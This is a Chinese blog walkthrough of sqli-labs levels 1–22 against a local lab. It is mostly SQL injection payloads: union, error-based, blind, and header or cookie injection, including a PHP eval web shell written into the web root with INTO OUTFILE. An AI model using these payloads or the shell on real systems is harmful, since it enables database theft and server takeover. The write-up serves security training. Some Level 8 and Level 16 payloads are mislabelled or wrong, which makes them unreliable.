sqli-labs过关笔记(Page-1:1-22关)

前言

sqli-labs过关笔记,这篇为第一部分,1-22关
靶场环境:https://github.com/Audi-1/sqli-labs
Page-1 (Basic Injections)
在这里插入图片描述

判断注入类型详解

(1)首先id=1肯定没错
http://127.0.0.1/?id=1 //正常
(2)加单引号
http://127.0.0.1/?id=1'   //正常,很大几率不存在注入;不正常,存在注入
(3)判断数字型
http://127.0.0.1/?id=1 and 1=1//正常
http://127.0.0.1/?id=1 and 1=2//不正常
基本上可以确定是数字型注入了,但还可以使用下面的方法,进一步确认
http://127.0.0.1/?id=1' and 1=1//正常
http://127.0.0.1/?id=1' and 1=2//不正常
(4)判断字符型,有两种,一种$id后面没有其它sql语句,例如limit,一种$id后面还存在sql语句
(5)$id后面没有sql语句
http://127.0.0.1/?id=1' and 1=1 //正常
http://127.0.0.1/?id=1' and 1=2//不正常
http://127.0.0.1/?id=1 and 1=1//正常
http://127.0.0.1/?id=1 and 1=2//正常
http://127.0.0.1/?id=1' and 1=1 --+//正常
http://127.0.0.1/?id=1' and 1=2 --+//不正常
(6)$id后面有sql语句
http://127.0.0.1/?id=1' and 1=1//不正常
http://127.0.0.1/?id=1' and 1=2//不正常
http://127.0.0.1/?id=1 and 1=1//正常
http://127.0.0.1/?id=1 and 1=1//正常
http://127.0.0.1/?id=1' and 1=1 --+//正常
http://127.0.0.1/?id=1' and 1=2 --+//不正常

注:
?id=1'与?id=1"
哪个报错,就说明和谁有关,要用谁来闭合
eg:?id=1'报错,?id=1"不报错,和'有关,用'闭合进行注入
注:和谁有关测试and 1=1和and 1=2或and 1=1 --+和and 1=2 --+是不同回显的

Pass-1(GET_非盲注)

1、首先判断目标是否存在sql注入,是什么类型的sql注入

判断目标的注入类型:
http://192.168.100.179:8002/Less-1/?id=1              //返回正确
http://192.168.100.179:8002/Less-1/?id=1'			  //返回错误,可能存在SQL注入
http://192.168.100.179:8002/Less-1/?id=1 and 1=1      //返回正确
http://192.168.100.179:8002/Less-1/?id=1 and 1=2      //返回正确
http://192.168.100.179:8002/Less-1/?id=1' and 1=1     //返回错误
http://192.168.100.179:8002/Less-1/?id=1' and 1=2     //返回错误
由此可见,$id后面可能还有sql语句
http://192.168.100.179/sqli-labs-master/Less-1/?id=1' and 1=1 --+ //返回正确
http://192.168.100.179/sqli-labs-master/Less-1/?id=1' and 1=2 --+ //返回错误
由此可见,目标存在sql注入,并且是字符型,该id变量后面还有其他的sql语句
源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

2、测试步骤:
(1)猜测目标SQL查询语句中select后面的字段数量,这里order by用不起来,所以使用union select同时也测出了目标哪些位置的字段可以继续利用

http://192.168.100.179:8001/Less-1/?id=1' and 1=2 union select 1,2,3%23

注:这里的and 1=2是为了就将正确的id=1不显示,返回错误,显示后面union select语句的值
结果:这里SQL查询语句中select后面的字段数量是3个,2,3字段可以利用
在这里插入图片描述
(2)查询当前使用数据库

http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,database(),3%23

在这里插入图片描述
注:查询所有数据库

http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

在这里插入图片描述

(3)查询指定数据库中的表

http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23

http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3%23

在这里插入图片描述
(4)查询指定表中的字段

http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23

在这里插入图片描述
(5)爆出指定字段

http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

http://192.168.100.179:8002/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from security.users),3%23

在这里插入图片描述

Pass-2(GET_非盲注)

1、判断为数字型注入

源码:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

2、注入过程
注入方法和Pass-1原理一样,注入时只需去掉id=1’中的单引号即可

Pass-3(GET_非盲注)

1、判断为字符型注入

源码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

2、注入思路
因为源码中多了(),所以注入时,使用id=1’)闭合源码中前面的括号,其它注入过程参考Pass-1

Pass-4(GET_非盲注)

1、判断为字符型注入

源码:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

2、注入思路
因为在传入$id前,对$id进行了双引号包裹,然后sql语句中的$id又有括号包围,所以注入时使用id=1")进行闭合构造,其它注入过程参考Pass-1

Pass-5(GET_盲注_报错注入)

1、判断为字符型注入

源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

2、注入思路
先判断哪些字段可以利用
http://192.168.100.179:8002/Less-5/?id=1' union select 1,2,3%23

使用盲注,主要有三种盲注类型
(1)floor报错注入
payload自定义

union select null,count(*),concat(payload,floor(rand(0)*2))x from information_schema.tables group by x

注:该语句将 输出字符长度限制为64个字符

http://192.168.100.179:8002/Less-5/?id=1' union select null,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x%23

x表示对(database(),floor(rand(0)*2))起的别名,得出的结果去除最后的1,就是我们想要的
0x01:查询当前数据库
在这里插入图片描述
0x02:查询指定数据库中的表

http://192.168.100.179:8002/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

因为报错注入不能一次性将数据库全部显示出来,可以修改limit m,1的参数m,获取其它数据库名,例:limit 1,1、limit 2,1
在这里插入图片描述
0x03:查询表中字段

http://192.168.100.179:8002/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

在这里插入图片描述
0x04:爆出字段的值

http://192.168.100.179:8002/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23

在这里插入图片描述

(2)updatexml报错
自定义payload

union select updatexml(1,concat('~',(payload),'~'),3)

注:该语句对输出的字符长度也做了限制,其最长输出32位。并且该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效

0x01:判断数据库

http://192.168.100.179:8002/Less-5/?id=1' union select updatexml(1,concat('~',(database()),'~'),3)%23

0x02:判断表

http://192.168.100.179:8002/Less-5/?id=1' union select updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),3)%23

0x03:判断字段

http://192.168.100.179:8002/Less-5/?id=1' union select updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),3)%23

0x04:爆出字段

http://192.168.100.179:8002/Less-5/?id=1' union select updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)%23

(3)extractvalue报错注入

注:输出字符有长度限制,最长32位

0x01:判断数据库

http://192.168.100.179:8002/Less-5/?id=1' union select extractvalue(null,concat(0x7e,(database()),0x7e))%23
注:union select可以改为and
0x7e表说~,可以用'~'替代

0x02:判断表

http://192.168.100.179:8002/Less-5/?id=1' union select extractvalue(null,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'))%23

0x03:判断字段

http://192.168.100.179:8002/Less-5/?id=1' union select extractvalue(null,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'))%23

0x04:爆出字段值

http://192.168.100.179:8002/Less-5/?id=1' union select extractvalue(null,concat('~',(select username from users limit 0,1),'~'))%23

Pass-6(GET_盲注_报错注入)

1、判断为字符型注入

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

2、注入过程:id闭合需要修改为id=1",其它和Pass-5一样

Pass-7(GET_盲注_写入一句话)

1、判断为字符型注入

源码:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

2、注入过程:id闭合需要修改为id=1’)),使用into outfile写入一句话
因为作者注释了数据库错误显示,我们打开它,先使用报错注入获取当前网站根目录,在进行写入一句话
在这里插入图片描述
接下来猜网站目录,当然有点难猜,我们只能先看看当前数据库的路径
在这里插入图片描述
我的目录太难猜了,并且不写入到指定的目录还不可以执行,可能是权限问题,我在linux本地写个/www/1.php可以访问,使用数据库写入就无法访问了(我测试了一下,貌似/www下只有1.php可以找到并解析,其它文件名皆不行)
在这里插入图片描述
我设置的网站根目录如下
在这里插入图片描述
所以,直接向/www/admin/localhost_8002/wwwroot/sqli-labs写入一句话

http://192.168.100.179:8002/Less-7/?id=1'))  and 1=2 union select null,'<?php @eval($_REQUEST[peak]);?>',null into outfile '/www/admin/localhost_8002/wwwroot/sqli-labs/peak.php'%23

在这里插入图片描述
木马利用:
在这里插入图片描述

这里的一句话该可以使用ASCII Hex表示,要注意以数据库形式写入时要在前面加0x,让数据库知道这是Hex编码
另外:编码使用burpsuite的ASCII Hex,可以直接text查看,其普通的Hex需要选择hex形式查看,不方便,还有和小葵的Hex编码也可以

http://192.168.100.179:8002/Less-7/?id=1'))  and 1=2 union select null,0x3c3f70687020406576616c28245f524551554553545b7065616b5d293b3f3e,null into outfile '/www/admin/localhost_8002/wwwroot/sqli-labs/peak.php'%23

在这里插入图片描述
注:–secure-file-priv报错解决:windows(my.ini添加或修改为secure_file_priv =),linux(my.conf添加或修改为secure_file_priv =)
参考:https://www.cnblogs.com/Braveliu/p/10728162.html

Pass-8(GET_基于布尔的盲注)

1、判断为字符型注入

源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

2、注入思路:因为没有报错信息的回显,此处可以使用基于布尔的盲注

(1)判断数据库名称长度

http://192.168.100.179:8002/Less-8/?id=1' and (length(database()))=8%23

(2)猜解数据库名

http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,3,1))) = 99%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,4,1))) = 117%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,5,1))) = 114%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,6,1))) = 105%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,7,1))) = 116%23
http://192.168.100.179:8002/Less-8/?id=1' and (ascii(substr((select database()) ,8,1))) = 121%23
最后得出数据库名为security(使用布尔盲注时可以配合二分法,更加快速精确地发现ASCII值)

(2)判断数据库中表的数量

http://192.168.100.179:8002/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4%23

(3)猜解其中第四个表名的长度

http://192.168.100.179:8002/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5%23

(4)猜解第四个表名

http://192.168.100.179:8002/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 117%23
http://192.168.100.179:8002/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23
http://192.168.100.179:8002/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 101%23
http://192.168.100.179:8002/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 114%23
http://192.168.100.179:8002/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23
第四个表名为users

(5)判断users表中字段数量

http://192.168.100.179:8002/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=3%23

(6)判断第二个字段长度

http://192.168.100.179:8002/Less-8/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=8%23

(7)猜解第二个字段名称

http://192.168.100.179:8002/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117%23
...
第二个字段名称为username

注:substr(参数1,参数2,参数3),参数2中0和1都可表示从第一位字符开始,但这里只可以用1,0不可以,可能和数据库版本有关

(8)猜解指定字段中值的数量

http://192.168.100.179:8002/Less-8/?id=1' and (select count(username)from users)=13%23

(9)猜解第一个字段中第一个值的长度

http://192.168.100.179:8002/Less-8/?id=1' and length((select username from users limit 0,1))=4%23

(10)猜解第一个字段中第一个值的名称

http://192.168.100.179:8002/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68%23
...
最后的值为Dumb

Pass-9(GET_基于时间的盲注)

1、判断为字符型注入

源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

2、注入过程:
首先了解一下基于时间的延时注入

if(expr1,expr2,expr3)
expr1的值为TRUE,则返回值为expr2 
expr1的值为FALSE,则返回值为expr3

(1)判断是否可以使用延时注入

http://192.168.100.179:8002/Less-9/?id=1' and if(1=1,sleep(4),null)%23

(2)判断当前数据库长度

http://192.168.100.179:8002/Less-9/?id=1' and (length(database()))=8 and if(1=1,sleep(4),null)%23

(3)判断数据库名称

http://192.168.100.179:8002/Less-9/?id=1' and (ascii(substr((select database()),1,1))) =115 and if(1=1,sleep(4),null)%23
...
不一一写了

剩下的只需要参照Pass-8,在and if(1=1,sleep(4),null)前面添加payload即可

Pass-10(GET_基于时间的盲注)

1、判断为字符型注入
源码:

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

2、注入过程:方法和Pass-9一样,只需要将id=1’改为id=1"即可

Pass-11(POST_非盲注)

1、字符型注入

源码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

2、注入思路:POST注入
最好使用burp,其它POST请求可能会不成功
(1)判断有sql语句中查询了几列,哪几列可以利用(当然,这里可以先使用order by,再使用union select),如下图
在这里插入图片描述
(2)尝试使用万能密码登录,如下图
在这里插入图片描述

(3)判断当前数据库,如下图
在这里插入图片描述
接下来的payload参考Pass-1

Pass-12(POST_非盲注)

1、判断为字符型注入

源码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

2、注入思路
和Pass-11差不多,只不过需要把uname构造为uname=admin")
例:

uname=admin") and 1=2 union select 1,2%23&passwd=1&submit=Submit

在这里插入图片描述

Pass-13(POST_非盲注)

1、判断为字符注入

源码:
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

2、注入过程

(1)判断sql查询语句中有几个列,哪些位置可以利用

uname=admin') union select 1,2%23&passwd=passwd&submit=Submit

(2)判断数据库名

uname=admin') union select count(*),concat('~',(select database()),'~',floor(rand()*2)) as x from information_schema.tables group by x%23&passwd=passwd&submit=Submit
或
uname=admin') union select count(*),concat('~',(select database()),'~',floor(rand()*2))x from information_schema.tables group by x%23&passwd=passwd&submit=Submit

剩下的参考Pass-5,修改payload即可

uname=admin') union select count(*),concat('~',(payload),'~',floor(rand()*2))x from information_schema.tables group by x%23&passwd=passwd&submit=Submit

Pass-14(POST_报错注入)

1、源码

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

判断为字符型注入

2、注入思路
闭合符号修改下即可

uname=admin" union select count(*),concat('~',(select database()),'~',floor(rand()*2))x from information_schema.tables group by x%23&passwd=passwd&submit=Submit

有时会显示不出来,这次floor报错注入返回的是0,而非1,因此,多Go几次
在这里插入图片描述
注:当然,也可以使用其它报错注入,经测试updatexml报错注入与extractvalue报错注入不会出现有时显示不出来的现象

updatexml报错注入
uname=admin" union select updatexml(1,concat('~',(database()),'~'),3)%23&passwd=passwd&submit=Submit

extractvalue报错注入
uname=admin" union select extractvalue(null,concat('~',(database()),'~'))%23&passwd=passwd&submit=Submit

Pass-15(POST_基于布尔的盲注)

源码:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

注入思路:参考Pass-8

判断数据库长度
uname=admin' and (length(database()))=8%23&passwd=admin&submit=Submit

、

猜解数据库名
uname=admin' and (ascii(substr((select database()) ,1,1))) = 115%23&passwd=admin&submit=Submit
...
...

剩下的过程不多说了,参考Pass-8

Pass-16(POST_基于布尔的盲注)

源码:

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

注入思路:闭合为")其它和Pass-15一样
例:

判断数据库长度
uname=admin") and (ascii(substr((select database()) ,1,1))) = 115%23&passwd=admin&submit=Submit

其它参考Pass-8

Pass-17(POST_报错注入_一些错误信息的解决)

源码:

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

注入思路:这一题不是对uname的注入了,因为提示是密码的重置,uname注入不行,尝试后,原来是对passwd的注入,注入方法和uname一样,只不过换了参数而已
需要注意的是,passwd这一行使用的是update函数,因此后面拼接不能再跟union select(UNION操作符用于合并两个或多个 SELEC 语句的结果集,这里是update,所以不可用),需要使用or或者and,如下

uname=admin&passwd=admin' or updatexml(1,concat('~',(database()),'~'),3)%23&submit=Submit

在这里插入图片描述
剩下的注入payload参考Pass-5

但是最后一步爆出字段时出现了问题,如下图所示:

图中的payload为
uname=admin&passwd=admin' or updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)%23&submit=Submit

在这里插入图片描述
这个报错的大概意思是:不能在FROM子句中为update指定目标表’users’,为什么会发生这种问题呢,百度一波(参考:https://www.iteye.com/problems/87715),大概原因是,update和其后的where语句条件中不能对同一个表进行操作,就是不能先将select出表中的某些值,再update这个表(在同一语句中)。
因为UPDATE users SET password = '$passwd' WHERE username='$row1'中update已经对users表进行操作,所以后面的语句就不能包含表名users,这题是特殊情况。
实际上ctf比赛中如果flag不在这个表中,你最后是可以获取到flag的,要是用的同一个表就没辙了,是不是真的没办法了呢,不,不是的,可以在爆字段的select语句外套上一层,参考网址:https://www.cnblogs.com/jeffen/p/7016547.html
最后,爆出字段的pyload如下,注意x.username,这个username是你已经爆出的字段名(字段名是可以爆出的)

uname=admin&passwd=admin' or updatexml(1,concat('~',(select x.username from (select username from users)x limit 0,1),'~'),3)%23&submit=Submit

我们来对比一下

uname=admin&passwd=admin' or updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)%23&submit=Submit
对比
uname=admin&passwd=admin' or updatexml(1,concat('~',(select x.username from (select username from users)x limit 0,1),'~'),3)%23&submit=Submit
是不是将select username from users套上了一层呢,注意:x.?,?要和后面括号里select后面的字段相同,这里为username

Pass-18(POST_user-agent_报错注入)

源码:

$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

注入思路:user-agent报错注入
注意:该题目需要输入正确的账户和密码,如果你一直登陆失败,可能的原因是之前做测试时,密码被修改为了空,我的就是这样,之后用pass-17重置了admin的密码,切记,登录不成功无法做此题!
接下来就是构造payload,要记得将$uagent闭合,构造为xx’ sql语句)#

xx' and updatexml(1,concat('~',(database()),'~'),3))#
或
xx' or updatexml(1,concat('~',(database()),'~'),3))#

最后语句应该呈现为

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('xx' and updatexml(1,concat('~',(database()),'~'),3))#', '$IP', $uname)

在这里插入图片描述
这里需要注意的是:在burp中,这里不同于底部的POST提交,可以使用%23或#皆可,但http头部注入,不需要将#编码

剩下的注入方法参考Pass-5的报错注入

Pass-19(POST_referer_报错注入)

源码:

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

注入思路:源码表示向referer和ip_address插入新的数据
所以这题是对referer的注入(依旧要登陆成功才可以注入,注释符需要使用#,不能使用%23)
payload

xx' and updatexml(1,concat('~',(database()),'~'),3))#

剩下注入语句参考Pass-5

Pass-20(POST_cookie_非盲注)

源码:

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);

注入过程:
先登陆成功后,再抓包,这样才能获取cookie,接下来对目标进行cookie注入,这里不能使用报错注入了,因为有回显,我们尝试非盲注

uname=admin' and 1=2 union select 1,2,3#

在这里插入图片描述
剩下的注入过程参考Pass-1,注意,这里的注释符#与%23皆可,综合上面几题的情况,http头注入最好还是使用#来注释,目前来说,还没出现过问题。

Pass-21(POST_cookie_base64加密_非盲注)

源码:

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

注入思路:将经过base64加密的代码进行解密后,带入sql语句进行执行,所以这里需要将对cookie进行注入的代码进行base64加密

YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDIsMyM=
解密后为:admin') and 1=2 union select 1,2,3#

在这里插入图片描述
剩下的注入步骤参考Pass-1,在原来的基础上进行base64加密即可

Pass-22(POST_cookie_base64加密_非盲注)

源码:

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

注入思路:Pass-21的基础上修改了闭合条件,需要使用"闭合

YWRtaW4iIGFuZCAxPTIgdW5pb24gc2VsZWN0IDEsMiwzIw==
解密后为:admin" and 1=2 union select 1,2,3#

在这里插入图片描述
剩下的注入过程参考Pass-1或Pass-21

参考:
https://www.cnblogs.com/-qing-/p/11610385.html
floor报错注入参考1
floor报错注入参考2
updatexml报错注入
extractvalue报错注入

  • 5
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
sqllibs是一个SQL注入的平台,它提供了一系列的挑战和实践,让用户可以学习和测试SQL注入攻击的技术。通过在sqllibs中完成各种任务,用户可以提升他们对SQL注入的理解和技能。在这个平台上,用户可以使用各种工具和技术来尝试不同类型的SQL注入攻击,如基于错误的注入、联合查询注入等。用户可以通过检测和利用应用程序中的SQL注入漏洞来获取敏感信息或者执行任意的数据库操作。通过挑战和实践,用户可以提高他们对SQL注入攻击的防御意识,并学习如何编写安全的代码来防止这类攻击。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [sql-lib 闯课程第一课](https://blog.csdn.net/m0_37175113/article/details/105753588)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [sqli-libs(1-6)闯笔记(纯手注)](https://blog.csdn.net/qq_40671478/article/details/107968190)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值